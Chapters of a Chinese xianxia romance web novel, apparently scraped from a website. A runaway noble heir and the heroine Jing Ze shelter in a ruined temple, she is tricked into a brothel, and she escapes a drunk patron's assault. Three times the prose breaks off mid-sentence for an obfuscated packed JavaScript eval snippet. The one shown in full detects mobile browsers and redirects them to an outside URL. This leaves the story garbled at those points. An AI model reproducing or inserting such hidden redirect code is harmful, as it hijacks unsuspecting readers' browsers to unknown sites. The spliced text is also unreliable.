他忽然凑近了些,压低声音,一脸神秘,“你其实是哪个隐世宗门偷偷下山历练的弟子,故意封了灵脉扮作凡人,专等有缘人来救?哎,你老实跟我说,是不是这样?” 他自顾自地说着,越说越兴奋,自得之情溢于言表,活脱脱一只正欲开屏斗艳的锦雉。 景泽的思绪却早已飘到了九霄云外,一个字也没听进去。 她已昏睡了三日?她不是中了半步果的毒么?彼时毒素蔓延至小腹,下半身全然没了知觉,她本以为这辈子怕要落下残疾了。可如今…… 想到这里,景泽猛地从草堆上跃起,上上下下、前前后后好一通摸索。手臂,无碍;腿脚,灵便;腰腹,有力。她又在原地蹦了两下,蹲了蹲身,伸了伸胳膊,将四肢百骸都活动了个遍。没有丁点不适之感,连那被梼杌拍过的肩头也只余下浅浅的酸胀。 她猜得不错,身上的半步果毒,已经尽数解了。 她的体质已经这般好了么?还是说哪位好心人救了她? 可是,是谁?是谁将她从山林中背了出来?是谁替她解了半步果的剧毒?又是谁将她安置在这破庙之中,还体贴地铺了干草为榻? 景泽皱着眉,目光不由自主地落向那正说得眉飞色舞的男子。 那男子似乎感受到了她的视线,坐姿不自觉地端正了几分,背脊挺得笔直,下巴微微扬起。 “我知我生得好看,”他慢悠悠地道,声音里带着几分刻意压制的得意,“可你总这般瞧我,会打断我的思绪的。我这人有个毛病,一被打断思绪,就要从头想起,从头想起便要费好些时辰,费好些时辰便要饿肚子,饿肚子便要心情不好,心情不好便要……” 景泽活了十六年,见过形形色色的人,却从未见过如此自恋的。她耐着性子听完了那一长串毫无逻辑的因果,面无表情地打断。 “你当真不知我为何在此庙中?当真非你所救?” 云逍扇子一顿,桃花眼滴溜溜一转,忽地凑近了些,烛光在他脸上投下明明灭灭的影。 他压低嗓门,拖长了语调道:“若我说,正是区区在下施展回春妙手,将你自鬼门关拉回……” 顿了顿,折扇轻点她肩头,“姑娘可愿委身相许,报此大恩?” 景泽面无表情,只翻了个白眼,径自转身,用后脑勺对着他。 她已然断定,此人断断不是恩公。若真是他救的,以这般性子,此刻定已将那救命之恩渲染得惊天动地、荡气回肠,恨不得全天下都知道他云小公子的威名,岂会这般藏头露尾? 不过,这人自恋是自恋了些,那份单纯,倒也不讨人厌。 烛影摇红,将房梁、红柱、供桌投下长长短短的暗影。殿外夜色浓得化不开,四下寂然无声,虫鸣都已歇下,只偶有夜风穿堂而过,带动破旧的窗棂“吱呀”轻响。 沉默在二人之间蔓延开来,倒不觉得尴尬,反有几分难得的安宁。 景泽躺回草堆上,双手枕在脑后,望着头顶那片被烛光映得忽明忽暗的房梁发呆。隔了好一会儿,她忽然开口:“你方才说,你是清州云氏的嫡小公子?” 云逍“嗯”了一声,语气里带着几分隐隐的骄傲:“清州云氏,你总该听过罢?那可是望族。我爹是云氏族长,我娘是沧溟沈家的嫡女,我大哥去年入了天云宗,我二姐今年嫁给了凤灵城城主嫡长子,至于我嘛,”他顿了顿,折扇又“唰”地展开,“我是云氏这一辈最出众的那个,琴棋书画样样精通,诗词歌赋信手拈来,尤其是我这张脸……” “所以,”景泽再次无情地打断了他,“你离家出走了?” 云逍的扇子顿住了。片刻后,他闷闷地“嗯”了一声,方才那股子得意劲儿一下子泄了大半。 “半个月前,我爹非要我娶一个望族的姑娘,”他嘟囔道,声音里带着几分委屈,“我连那姑娘是圆是扁都不知道,凭什么要我娶?我云逍这辈子要娶,就得娶我自己看上的人,谁也别想替我做主!” 他说得理直气壮,语气里藏着几分少年人赌气的倔强。景泽没有接话,只静静地听着。烛火跳了跳,在墙上投下云逍的影子。 “后来呢?”景泽问。 “后来我就跑了呗。”云逍摊了摊手,“我带了整整一箱银子,想着先出来避避风头,等我爹消了气再回去。谁知道路上被人偷了……”他的声音越说越小,到最后几乎低不可闻,“我堂堂清州云氏的嫡小公子,居然被几个小毛贼偷了钱,说出去都没人信。” 景泽忍不住弯了弯嘴角,又迅速压了下去。她侧过头,透过供桌的缝隙看了他一眼,那少年正盘腿坐在草堆上,下巴搁在膝盖上,手里无意识地转着那柄折扇,神情间有几分懊恼,又有几分倔强。 “所以你便宿在了这破庙里?”景泽问。 “不然呢?”云逍抬起头,那双桃花眼里映着跳动的烛火,“客栈要钱,饭馆要钱,连喝口水都要钱。我身上最后几文钱买了两个馒头,撑到了现在。”他忽然想起什么似的,眼睛一亮,“对了,你饿不饿?我包袱里好像还剩半块干粮。” “不必了。”景泽道。 又是一阵沉默。 殿外的风大了些,窗棂响得更密了,像是有什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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及时深夜,屋外天际忽然滚过闷雷,震得这破庙都晃了三晃,紧接着,黄豆大的雨点便噼噼啪啪砸了下来,在夏夜里淅淅沥沥响成一片。 屋内两人早已沉沉睡去。 适才他们的一番交谈,一字一句,都顺着漏风的窗棂,飘入了檐下男人的耳中。 男人立在暗影最深处,周身裹着化不开的湿冷之气,好似从九幽深渊里爬上来的厉鬼。一身玄色织金暗纹长袍垂落如墨,松松裹着他清瘦挺拔的身形;长发散乱垂肩,几缕碎发被夜雾沾湿,贴在冷白如玉的侧颈上,好看得近乎妖异。 这等三界少有的绝色,谁又能料得到,竟是个被天道所弃的堕仙。 残烛已尽,天色未明。纥奚时砚便那般沉默地站着,活像一尊被遗忘在暗角的神祇,又似一头蛰伏不出的凶兽。 他不靠近,不作声,不惊扰,只这般隐在黑暗里,静静望着那道瘦弱的身影。直到烛火燃尽,直到天际泛起鱼肚白。 待得晨雾漫入院落,他才缓缓收回目光,悄无声息地转过身去,融入渐亮的天色之中,便如从未出现过一般。 5. 朱楼绮梦藏蛇蝎,绣阁浓妆陷泥犁 沧溟城,神武大街。 北风卷地,吹得街面上尘土飞扬。一个老叫花子蜷在墙根底下,浑身破衣烂衫,脏得已辨不出本来颜色。他颤巍巍举着一只缺口碗,嘶声喊道: “行行好,给口饭吃罢……小老儿三日不曾进食了……” 过客匆匆,谁个回头?这年头,易子而食尚且不鲜,谁顾得上一个将死之人?偶有善心者,也不过是叹息一声,掩鼻疾走。 及至天色向晚,那老丐的喊声渐渐低了下去,终至寂然无声。有好事者上前探看,伸手一摸,早已没了气息。 消息传开,只一炷香的工夫,街那头便涌来一群饿极了的乞丐。 他们也不避人,蜂拥而上,竟将那尸身分而食之。待到骨肉啃尽,青石板上只余一摊暗红的血渍,在暮色里慢慢干涸。 距此百步之外,又是另一番光景。 一个年近七旬的老妪跪在地上,声嘶力竭地朝着行人哭喊:“诸位爷,瞧一瞧罢!这丫头虽瘦,手脚却麻利!买回去做个丫头媳妇都使得,便是……便是宰了烹食,也抵得半斗米粮啊!” 老妪身旁跪着一个八九岁小姑娘,手足皆被麻绳紧缚,绳头牢牢攥在那老妪手中。 哭喊一声接着一声,小姑娘低头不语,双目空洞,仿佛魂魄已失。唯见右手腕上一道深红勒痕,触目惊心。 “阿婆,您为何要卖她?” 忽有一道清亮的嗓音响起,有人停在了她们面前。 老妪在这条街上叫卖已有一个多月,嗓子都喊哑了,前来问津者却寥寥无几。乍见有人驻足,登时两眼放光,鼻涕眼泪一齐下来,哭诉道:“姑娘,你不知啊!家里老头子病重,又有个好赌的儿子,积蓄都叫他败光了,还欠了一屁股债!若不是走投无路,谁又舍得卖自己的亲孙女啊!” 她哭得声嘶力竭,满头白发在风里飘散,松弛的眼皮耷拉下来,遮住了半截瞳孔,那模样着实凄惨。 那姑娘眉头微蹙,又问:“那她阿娘呢?她阿娘可舍得?” “阿娘”二字落入耳中,那一直埋着头的小姑娘身子猛地一颤,抬起眼来,不知道想到了什么,倏地眸光一黯,又垂下了头。 老妪登时恨声道:“她娘就是个贱妇!她凭什么抛下我儿子跑了?她就是嫌我儿子没本事,嫌我儿子没钱!她若看不上我儿子,当初又为何嫁他?她凭什么耽误我儿子这么多年?我儿子不就赌钱这一个毛病么?” 这一番话憋在心头不知多久了,好不容易遇上个肯听的,老妪恨不得将满腔委屈尽数倒出来。 景泽听在耳中,一时竟不知如何接话。正尴尬间,有人从背后拍了她一下。 “阿泽妹妹!我说怎么一转头就找不见你了,原来你躲在这儿!” 来人正是云逍。 天亮时分,二人便离了破庙,依着昨夜的约定,由云逍带她上街寻营生。一路上云逍滔滔不绝,景泽听得呵欠连天,待他回过神来,景泽早已没了影。 这不,找了大半天才寻着。 云逍眼珠子一转,已将眼前局面瞧了个分明,压低声道:“阿泽妹妹,你不会想买这小姑娘罢?你有银子么?” 景泽看了一眼跪在地上的小姑娘,轻轻叹了口气:“没有。” “那不得了!”云逍将扇子一合,不由分说拽了她就走,“别瞎发善心了,先找营生要紧!等咱赚了银子,想救多少人都成!” 景泽被他拽着走了几步,终究忍不住回了头。 恰在此时,那小姑娘正好抬头朝她望来。 景泽无声地动了动嘴唇,做了个口型:“等我!” 她在心中暗暗发誓:等她赚了银子,头一件事便是将这小姑娘买下来。 几步之外,小姑娘看懂了她的唇语,唇角弯了弯,朝她露出一个笑。 · 行不多远,眼前豁然开朗。一座高楼拔地而起,直插云霄,仰面望去,脖子都要断了。赤金匾额上,“庆元春”三个大字笔力遒劲,在日头底下熠熠生辉,恍若鎏金所铸。朱漆大门两侧各立一尊石狮,鬃毛蜷曲,怒目圆睁,气派非凡。门楣上悬着两盏琉璃宫灯,穗子垂着流苏,风过时轻轻摇曳。 尚未踏进门去,便有馥郁的香气从里头飘出来,是酒香与珍馐美馔的味道,丝丝缕缕,直往人鼻子里钻。 “好香!”景泽忍不住叹道。 “哼!”云逍斜睨她一眼,以扇击掌,“此处乃沧溟城第一销金窟,工钱足有三倍之多。若能在此谋个差事,下半辈子便有着落了。” 说罢,他一掀衣袍,昂首跨步而入。景泽紧随其后。 跨进正门,当值的小二听明来意,笑眯眯地将二人领上二楼,引入一间靠近楼梯的包间。 推开雕花木门,这屋子足有寻常人家三间开阔,地上铺着厚厚的绒毯,赤红底子织着金线缠枝莲,踩上去悄无声息。四角立着鎏金博山炉,袅袅青烟从镂空的山峦间溢出。多宝阁上陈设着各色珍玩,件件价值不菲。 纱罗幔帐自穹顶垂落,层层叠叠,如烟如雾,将屋子隔出重重深浅不一的暧昧光影。正中间一张紫檀木的贵妃榻斜斜摆着,榻上铺着锦褥,绣着鸳鸯戏水,针脚细密,栩栩如生。 一名女子正倚在榻上,玉手伸出纱帐,懒洋洋地朝他们勾了勾手指。 云逍与景泽对视一眼,掀开纱帐走了进去。 那女子名叫仙娘,生得着实妖冶。约莫二十七八岁年纪,身段曼妙玲珑,一袭轻纱广袖罗裙裹在身上,领口微微敞开,露出一截雪腻的锁骨,锁骨窝里搁着一枚鸽血红宝石坠子,衬得肌肤愈发白得晃眼。 再看那张脸,真真是“芙蓉如面柳如眉”。鹅蛋脸,肤若凝脂,一双桃花眼波光潋滟,鼻梁高挺,唇若涂朱。乌黑的长发松松挽了个堕马髻,几缕碎发垂在耳畔,愈发衬得脖颈修长如天鹅。 仙娘手里把玩着一对文玩核桃,姿态闲适又慵懒。目光在二人身上溜了一圈,朱唇轻启:“我们庆元春不招男子。” 云逍“啊”了一声,登时叫起屈来。 “凭什么?为何歧视男子?男子怎么你了?你信不信我去城主府告你!” 仙娘听了这话,也不恼,只轻轻一笑。那一笑如春花初绽,满室烛光仿佛都暗了三分。她不疾不徐地吩咐道:“来人。” 几个一直守在外头的黑衣大汉立马推门而入,二话不说便将云逍架了起来。 云逍脸色大变,惊叫道:“喂!你们要干什么!不带这样玩的!君子动口不动手!你们……你们要带我去哪里?阿泽妹妹救我!救我呀!” 眼看着黑衣人将云逍拖出门去,景泽急欲追出,包间门却“砰”地一声合上了,外面云逍的喊声渐渐远去。 景泽扑到门上,哐哐拍门,可那门纹丝不动,显然已被从外头锁死。 “姑娘当我庆元春是什么地方?想来就来,想走便能走么?” 仙娘不紧不慢地从贵妃榻上起身,赤足踩在绒毯上,撩开纱帐,款款向景泽走来。她的声音温柔似水,可不知怎的,听在耳中却让人骨缝里透出凉意。 景泽吞了口唾沫,攥紧拳头,满眼警惕地盯着步步逼近的仙娘。 仙娘个头高挑,比景泽足足高出大半个头,一身轻纱罗裙在烛光下闪烁着细碎的光,恍若神仙妃子。 “别怕我嘛。”仙娘走到近前,伸手牵起景泽攥紧的拳头,一根根掰开她蜷缩的手指,笑意盈盈,“你不是来寻营生的么?为何又忽然要走?” 景泽的手指被掰开时,她下意识想抽回,却发现自己在那双柔软的手掌中竟挣不脱。她垂眼看了看自己瘦骨嶙峋的手,又看了看仙娘那双白嫩如玉的手,心中忽然涌起一阵自惭形秽。她的指甲缝里还藏着泥,手背上青筋凸起,像是鸡爪似的,与仙娘的手搁在一处,简直一个天上一个地下。 “我……我朋友……”景泽的声音低了下去,连她自己都觉得底气不足。可她转念一想,仙娘若是想对她不利,大可不必这般废话。 想到此处,她稍稍松了拳头,“我朋友被你们拖出去了,我要去找他。” 听罢,仙娘掩口笑了起来,笑声如银铃,清脆悦耳。 “放心吧,他没事,不过是赶到大街上去罢了。” 得知云逍无碍,景泽长舒了一口气。 仙娘上下打量着她,目光从她瘦削的脸颊滑到细弱的脖颈,又从脖颈落到腰间,温柔笑道:“倒是你,你确定不留下来?我看你这丫头怪机灵的,是个可造之材,非常适合留在我庆元春。” “当真?” 景泽惊喜抬头,一双黑眼睛里满是不可置信,说话都不利索了。 “你……你的意思是……我可以留在庆元春干活?” “自然。”仙娘微微一笑,伸手捏起景泽的下巴,将她的脸轻轻转过来,对着烛光细细端详,“瘦是瘦了些,但这五官底子极好,骨相也端正。待洗个澡、化上妆、换上身漂亮衣裳,届时定是个一等一的美人儿。” · 走在前头带路的姑娘名叫秋韵,比景泽大不过三岁。仙娘吩咐了,让她跟着秋韵,有什么不懂的只管问便是。 自打从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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景泽讪讪地缩回手,老老实实坐着。秋韵又拿起一管小小的瓷瓶,用细毛笔蘸了里头殷红的汁液,仔细描在她的唇上。 “秋姐姐,你往我嘴上抹的是什么?” 景泽好奇道,眼睛往下瞟,却只能看见自己的鼻尖。 “是唇脂。”秋韵笑着回答。 “唇脂?”景泽又问,“可以吃么?” 秋韵忍不住笑出了声:“恐怕不能。” “啊!”景泽吓得跳了起来,撞翻了身后圆凳,“那我要是舔到了怎么办?会不会中毒?哎呀秋姐姐,你快帮我擦掉罢!” 看着景泽那惊慌失措的模样,秋韵掩口笑了一会儿,才耐心解释道:“放心吧景姑娘,吃一点点没毒的。若是真有毒,这世间那么多女子,怕早就死绝了。” “这样啊……”景泽这才放下心来,为方才的大惊小怪感到害臊。她小声问道,“世间女子都要涂唇脂么?” “自然呀。”秋韵一边替她描眉,一边道,“哪有女儿家不爱美的呢?姑娘们出门不仅要涂唇脂,还要涂胭脂,画眉毛,回来后,还要卸妆,护肤,日日呵护保养……” 从来不知护肤保养为何物的景泽默默垂下眼,不再作声。 她从未如此刻这般觉得自己像条糙汉。 · 待秋韵替她梳好发髻、插上珠花,又换上一身水绿色的罗裙,景泽再望向镜中时,几乎不敢相信那是自己。 镜中的姑娘眉目如画,唇红齿白,乌发如云,虽然还是瘦了些,可那股子清灵之气却掩也掩不住。 “走罢,仙娘吩咐了,请姑娘去五楼。” 秋韵牵起她的手,引着她出了房门。 五楼的走廊比楼下更加幽静,脚下是暗红色的地毯,两侧是一扇扇紧闭的雕花门扉,门楣上挂着精致的木牌,刻着“牡丹”“芍药”“芙蓉”之类的字样。 秋韵将她领进其中一间,嘱咐她在床沿坐好,便掩上门退了出去。 景泽端坐在床沿上,纱帐从头顶垂落,将她的身影勾勒得若隐若现。她环顾四周,这屋子比仙娘那间小些,却也布置得极为精致。 红烛高烧,锦被绣褥,桌上摆着果盘点心,还有一壶温着的酒。 等啊等,听着屋外来来往往的脚步声,景泽渐渐觉出不对来。 什么营生需要在卧房里做?什么营生需要沐浴更衣、梳妆打扮,还要点上红烛、铺上锦被? 便在这时,房门被人从外面一脚踹开! “砰!” 劲风扑面,景泽心头猛地一沉。 6. 庆元春恶客行凶,长街畔少侠援手 景泽闻声转首,但见一人推门而入。此人年约五旬,形容富态,腆着大肚子,手中兀自提着个酒葫芦,一步三摇,醉态可掬。 那人一双三角眼往纱帐内一扫,登时咧开嘴,露出满口黄牙,嘿嘿笑道:“小娘子,让爷好等!”一股浓烈的酒气混杂着汗酸味扑面而来,熏得景泽几欲作呕。 事已至此,景泽心中雪亮,这“庆元春”哪里是什么正经所在,分明是个藏污纳垢之地! 那胖子摇摇晃晃,张开大手便朝景泽身上抓来,口中涎沫横飞:“让爷好好疼你!” 景泽心头一凛,不及细想,腰身一扭,往旁侧闪。那胖子的爪子堪堪擦过她衣袖,带起一阵腥风。 景泽心慌意乱,向后急退,却不料脚下被纱帐垂角一绊,“哗啦”一声,头顶的轻纱被她整个扯落。 那纱罗薄如蝉翼,在她手中随风飘舞。那胖子见了,非但不恼,反倒怪笑一声,张开双臂,竟似要来迎接这团纱帐。 景泽情急智生,将纱帐朝他头上一罩,心想遮住他双眼,或可暂避一时。 岂料那胖子不闪不避,反而双手捧住那团纱帐,深深一嗅,脸上露出陶醉之色,啧啧赞道:“好香!这可是小美人的体香?妙极!妙极!原来你喜欢这调调?好好好,爷今日便陪你玩个痛快!” 说着,他将纱帐蒙在头上,只露出一个肥硕的下巴和一张油光满面的嘴,伸出双手,在屋中胡乱摸索,踉踉跄跄,兴致盎然。 “小美人儿,躲好了么?躲好了,爷可就要来抓你啦!” 那胖子在屋中跌跌撞撞,东摸西碰,口中还念念有词: “小美人儿,别跑那么快……爷这把老骨头,可经不起你这么折腾……你跑起来,窸窣作响,倒像只偷食的小猫儿……待爷抓到你,定要叫你尝尝什么叫销魂蚀骨,求生不得,求死不能……” 太恶心了。景泽只觉背脊发凉,鸡皮疙瘩起了一身。 不成,须得速离此地! 她强抑恶心,一个箭步冲到门前,伸手去拧那门环。 一拧,二拧,三拧……那门板竟是纹丝不动。她又用力一拽,门依然如铁铸一般,这门竟是被人从外面锁死了! 景泽的心,霎时间沉入了万丈深渊。 那胖子听到门响,不惊反喜,笑得更加得意,慢条斯理地摸着墙根走过来,“小美人儿,你是逃不掉的。钥匙嘛,早被我吞进肚子里啦。你要想出去,就乖乖地过来,服侍得爷高兴了,爷自然就大发慈悲,放你一条生路……” 景泽心跳如鼓,脑中嗡嗡作响。 她强自镇定,目光如电,飞快扫视全室。门是锁了,但那两扇向两侧推开的木窗,却是大开着! 从窗口望下去,但见人头攒动,熙熙攘攘。寻常女子,断不敢从此处跃下,可她景泽不同。她虽灵脉被封,内力十不存一,但自幼练就的攀援纵跃、飞檐走壁之技,早已融入骨血。只要贴着外墙壁,沿着窗沿逐层而下,未必不能脱身。 那边,男人已经扑空了好几次。他蒙着纱帐,肥手在空气中乱抓,每一次扑空都要发出一声夸张的叹息:“哎呀,又让你跑了……你可真调皮,把爷的心都勾走了……” 景泽深吸一口气,站到窗边,只见她双手撑住窗台,腰腹一挺,翻了出去。脚尖稳稳踩住下一层的窗沿,手指扣住墙砖缝隙,迅速往下挪。 风从耳畔掠过,吹散了她额前的碎发,也吹干了后背的冷汗。她的手很稳,脚也很稳,这种活儿,她小时候可没少干! “他奶奶的!花了几百两银子,连根毛都没摸到,你这小贱人,胆敢戏弄于我!”头顶上方,蓦地炸开一声暴喝。 景泽抬头一看,男人已经扯下了蒙在脸上的纱帐。那张肥脸此刻已经涨成了猪肝色,眼珠子几乎要从眼眶里瞪出来。 他乃本地豪族,自襁褓之中便受万人敬仰,便是沧溟城的城主,见了他也要礼让三分。一个任人狎玩的青楼女子,竟敢戏耍于他?此事若传扬出去,他堂堂家主的颜面何存? “贱人!站住!”他抓起桌上的花瓶,狠狠朝下砸去。 景泽身形一侧,那花瓶擦着她肩头飞过,“砰”的一声巨响,在墙壁上炸成无数碎片。紧接着,茶壶、果盘、烛台、铜镜……凡是手边之物,尽数被他抓起,如雨点般朝景泽砸来。他状若疯虎,一边砸一边破口大骂:“不识抬举的贱货!爷肯临幸你,是你八辈子修来的福分!你跑!你给爷接着跑!看你能跑到哪里去!摔死你个没心肝的娼妇!爷是来快活的,不是来受你这鸟气的!” 有碎瓷片划破了景泽的额角,温热的血顺着眉骨流下来。肩背和手臂也被砸中了好几处,火辣辣地疼。 景泽咬紧牙关,顾不上疼痛,也顾不上擦拭血迹,手脚并用加快了下移的速度。 快一点,再快一点! 男人见她竟还敢往下跑,杀心顿起,猛地抽出腰间佩刀,那刀刃上刻着古怪的纹路,一看就不是凡品。 景泽听见他咬牙切齿地骂了一句什么,然后抡圆了胳膊,将短刀朝她狠狠掷来。 “既然不识抬举,那就去死吧!” 刀刃划破风声,呼啸而至。景泽余光瞥见那点寒光直取她后心,此时她已下到二楼与一楼之间的位置,脚下只有窄窄一道窗沿,退无可退,避无可避! 千钧一发之际,景泽当机立断,松了手。 她整个人如断线的纸鸢,急速下坠。风声灌满了耳朵,裙摆在风中猎猎作响。 时间仿佛被拉长了,她清楚地看见那把短刀“嗖”地一声,钉在她方才站立的位置,刀刃没入砖缝寸余,刀柄嗡嗡颤鸣。 楼下路过的行人捕捉到这一幕,尖叫声四起,人群顿时炸开了锅,有人大喊“杀人啦”,有人四散奔逃。 男人到底要脸面,不敢把事情闹大,恨恨地朝下啐了一口,嘴里不知又骂了句什么,然后“砰”地一声关上了窗户。 好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17494336|202397||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 险!若非她当机立断,松手弃身,此刻怕已是穿胸一刀,一命呜呼。从二楼坠下,至多断手断脚,总好过丢了性命。 风声犹在耳畔,景泽闭目待死,准备承受那开碑裂石般的撞击—— 然而,预想中的剧痛,却迟迟未至。 一双手臂稳稳接住了她。那怀抱坚实得像一堵墙,将她牢牢箍在胸前,落地时几乎没发出声响,连她的身子都没怎么颠簸。 景泽惊魂未定地睁开眼,首先映入眼帘的是一截棱角分明的下颌,覆着青黑的胡茬,再往下是滚动的喉结和微微敞开的领口。 她被人救了。 那人头戴一顶旧斗笠,压得极低,眉眼全然藏在阴影中,只露出下半张脸。皮肤黝黑粗糙,颧骨处还有一道浅浅的旧疤;唇形分明,嘴角微微抿着;鬓边两缕碎发被风吹起,拂过她的脸颊,带来淡淡的松木气息。 往下看去,他穿着一身洗得发白的劲装,袖口用麻绳扎紧,腰间挂着一只水囊和一把朴实无华的长剑。明明浑身上下没有一件值钱的物件,却自有一股说不出的从容与沉稳。 景泽被他横抱在怀里,瞬间觉得自己像只小猫,连挣扎的余地都没有。她上一次见到这样高的人,还是师尊。 这个念头一闪而过,连她自己都觉得荒唐。师尊远在天边,怎么可能出现在这里?何况师尊向来一尘不染,又怎会这般风尘仆仆、胡子拉茬? “姑娘没事吧?”少侠的嗓音低沉,透着一丝不易察觉的紧绷。 景泽这才发觉,自己的双手不知何时竟搂住了少侠的脖子。那姿势太过亲密,她的脸一下子烧了起来,慌忙松开手,垂下眼不敢看对方,小声道:“多……多谢少侠相救。” “不客气。”少侠淡淡应了一声,却没有立刻放她下来,依旧稳稳托着她。 不知道是不是错觉,景泽感觉到对方的手臂微微收紧了一下,又立刻松开。 少侠低着头,斗笠的阴影遮住了他的目光。 “姑娘一个人出门在外,还是小心为上,不然家里的长辈该担心了。” 景泽这下确定了,对面的人跟她的师尊没关系,她的师尊可凶了,从来不会如此温柔地对她说话。 她轻轻挣了挣,尽量让自己的声音听起来平静:“少侠,你放我下来吧。” “好。” 双脚落地的那一刻,景泽才真切感受到少侠身量有多高。她站在他面前,堪堪到他胸口。 景泽忍不住悄悄抬眼打量,可斗笠的阴影遮得太严实,什么也看不清,只隐约看见对方喉结滚动了一下。 这少侠到底长什么样子?景泽正疑惑着,身后忽然传来一阵熟悉的喊叫。 “阿泽妹妹!阿泽妹妹!” 云逍老远就认出了景泽腰间的斜挎包,气喘吁吁地跑过来,近距离看到景泽的刹那,忽然扇子从手中滑落,“啪嗒”一声掉在了地上。 他像是被施了定身术般,僵住了。 7. 憨公子痴迷绝色,冷师尊夜拭余涎 完了,云逍已然坠入情网,从此万劫不复了。 周遭街市的人潮喧嚣、车马声息,刹那间如潮水般尽数退去。天地间万物都成了模糊虚影,世间万般都只剩眼前一人。 “……” 景泽被他看得颇不自在,低头审视自身。但见一身绿罗裙,腰间丝绦轻束,袖口淡粉桃花娇艳欲滴,云鬓高挽,珠花斜插,整个人焕然一新,全不似往日那灰头土脸的乞儿模样。 景泽摸了摸面颊,赧然道:“我这般打扮,可还妥当?” 云逍闻言,如梦初醒,声音陡然拔高:“妥当!再妥当不过了!美得很!美得很!”他边说边蹲下身,拾起那柄折扇,手忙脚乱地扇着风,一张俊脸涨得通红。 她一个骷髅架子,有何美可言?景泽心下嘀咕,认定他在取笑自己,没好气道:“休要胡闹。” “谁胡闹了!”云逍拍着胸膛,信誓旦旦,一双眼睛却死死粘在景泽脸上,挪移不开,“阿泽妹妹,我先前竟未察觉你生得这般花容月貌!这眉,这眼,这琼鼻樱唇……啧啧,便是那月宫仙子见了,怕也要逊色三分!” 他越说越兴起,竟将脸凑近几分,歪着脑袋左瞧右看:“嗯,略显清减了些,需得好好将养。可觉饥饿?我方才恰将玉佩当了,得了几两散碎银子,给你买包子如何?或是糖葫芦?前头街角那家‘王记’的肉包子最是地道,皮薄馅大,咬一口汤汁四溢……你在此稍候,我顷刻即回!” 景泽被他这突如其来的热络弄得手足无措,她正欲婉拒,云逍早已如一阵风般卷了出去。 景泽扶额叹息,那云逍却又旋风般折返,从怀中掏出一方素白手帕,小心翼翼递上:“对了,你额角伤处,且先拭了,免得污了容貌,我马上回来!务必等我!” 云逍再次一溜烟没入人群,转瞬不见踪影。 景泽捏着那方手帕,“……” “这位公子……倒是热心。”身后传来少侠沉稳的嗓音。 景泽回首,见那少侠仍立原地,斗笠低垂,遮住面容,原本垂于身侧的双手,此刻已环抱于胸前。 “他是我朋友,姓云名逍。” 景泽解释道,随即想起一事。 “还未请教少侠高姓大名?” “萍水相逢,何必留名。在下不过无名小卒,不足挂齿。”少侠语气平淡,“倒是姑娘孤身行旅,须得处处小心,尤当提防来历不明之狂徒。在下告辞。” 少侠言毕,转身便走。 景泽看着那背影渐行渐远,心中疑窦丛生。 连走路的姿势的像极了师尊,当真不是师尊吗? 正自出神,云逍已风风火火奔回,手中高举一个油纸包,肉香隔着数丈便扑鼻而来。 “阿泽妹妹!包子来也!尚有余温!”云逍气喘吁吁,献宝似的递上,“快尝尝,若不合口味,我再去寻别家!” 景泽接过咬了一口,肉汁丰盈,果然鲜美,正要点头说好,闻听后半句,连忙止住:“不不不!不必劳烦!太过破费了!” 云逍却只当她前半句真心实意,喜得眉梢眼角俱是笑意:“当真?那我往后日日为你买来!阿泽妹妹想吃什么尽管吩咐,毕竟我云逍如此……”他清了清嗓子,挺直腰板,朗声道:“……英姿飒爽,玉树临风,气宇轩昂,谦恭有礼,正直坦荡,从容不迫,卓尔不群,芝兰玉树……” 又是这番滔滔不绝的自诩。景泽无奈扶额,欲哭无泪。 云逍一旦自恋起来,少说也得耗上两个时辰,那份沉醉于己身风姿的忘我情态,委实令人叹为观止。 景泽百思不解,世间怎会有如此自恋之人? 于是她默默收起他买的肉包子,趁其不备,悄悄溜之大吉。 · 景泽穿街过巷,不觉已至沧溟城南。 此地她素来少至,原以为城东已是市井凋敝,城南总该略胜一筹。及至亲见,方知大谬不然。 举目四望,满目疮痍。青石板路龟裂破碎,缝隙间杂草丛生,竟有半人高。道旁横七竖八躺卧着丐者,或蜷缩墙角,或僵卧当路,生死难辨。腐臭之气弥漫空中,蚊蝇嗡嗡成阵,黑压压扑面而来。 景泽小心翼翼绕过一具饿殍,那尸身枯槁如柴,眼窝深陷,几只硕鼠从其破烂衣襟中窜出,吱吱尖叫着钻入阴沟 本是日正当空,商铺理当开张纳客,可两侧铺面却门窗紧闭,门板上刀劈斧凿的痕迹犹新,更有甚者被泼了秽物,干涸的污迹黑褐交错,触目惊心。偶有风吹过,卷起地上枯叶纸钱,沙沙作响,更添凄凉。 天色渐沉,暮云合璧,落日将最后的余晖洒在这片破败的街巷上,衬得四周愈发荒凉。折返回去已是不可能了,景泽摸了摸腰间仅剩的几枚铜钱,决定挨家挨户敲门,哪怕能买着半个馒头也是好的,她实在是饿得头昏眼花了。 然而,她敲了七八家铺面,竟没有一家愿意开门。有的里头分明有人说话,听见敲门声,话音戛然而止;有的门缝里透出烛光,人影晃动,待她走近,烛火便“噗”地灭了。 景泽叹了口气,罢了。时候不早了,先寻个地方落脚,待明日再做打算。 正欲转身离去,忽听身后“吱呀”一声,斜后方一家烧饼铺子的门开了一条缝。一个年过半百的妇人探出头来。 “姑娘,你要是无处可去,不嫌弃的话,就上我家歇脚吧。” 景泽脚步一顿。嫌弃?她求之不得。 · 